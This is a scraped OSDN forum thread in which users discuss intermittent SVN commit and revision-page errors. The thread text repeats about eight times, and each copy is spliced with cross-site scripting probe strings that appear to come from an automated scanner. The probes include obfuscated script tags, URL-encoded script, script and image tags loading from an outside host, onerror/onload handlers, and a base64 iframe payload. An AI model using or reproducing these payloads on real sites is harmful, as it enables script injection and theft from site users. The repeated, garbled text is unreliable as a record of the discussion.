About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<script>hh6B(9131)</script>
555<WF2RQA>E8Y4J[!+!]</WF2RQA>
1<script>2a1u(9658)</script>
1<script>2a1u(9223)</script>9223
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<script>hh6B(9091)</script>9091
555<script>8Bd9(9252)</script>
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%32%61%31%75%28%39%36%37%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<ScR<ScRiPt>IpT>hh6B(9691)</sCr<ScRiPt>IpT>
555<script>8Bd9(9242)</script>9242
1<ScRiPt >2a1u(9604)</ScRiPt>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<ScRiPt
>hh6B(9313)</ScRiPt>
555<ScR<ScRiPt>IpT>8Bd9(9571)</sCr<ScRiPt>IpT>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9324></ScRiPt>
1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9335></ScRiPt>
555<ScRiPt >8Bd9(9739)</ScRiPt>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<
1<
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9150></ScRiPt>
555<
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<isindex type=image src=1 onerror=hh6B(9110)>
1<isindex type=image src=1 onerror=2a1u(9904)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9034'>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9993'>
555<isindex type=image src=1 onerror=8Bd9(9014)>
1<body onload=2a1u(9663)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9890'>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<body onload=hh6B(9356)>
555<body onload=8Bd9(9149)>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<img src=//xss.bxss.me/t/dot.gif onload=hh6B(9916)>
1<img src=//xss.bxss.me/t/dot.gif onload=2a1u(9925)>
1<img src=xyz OnErRor=2a1u(9682)>
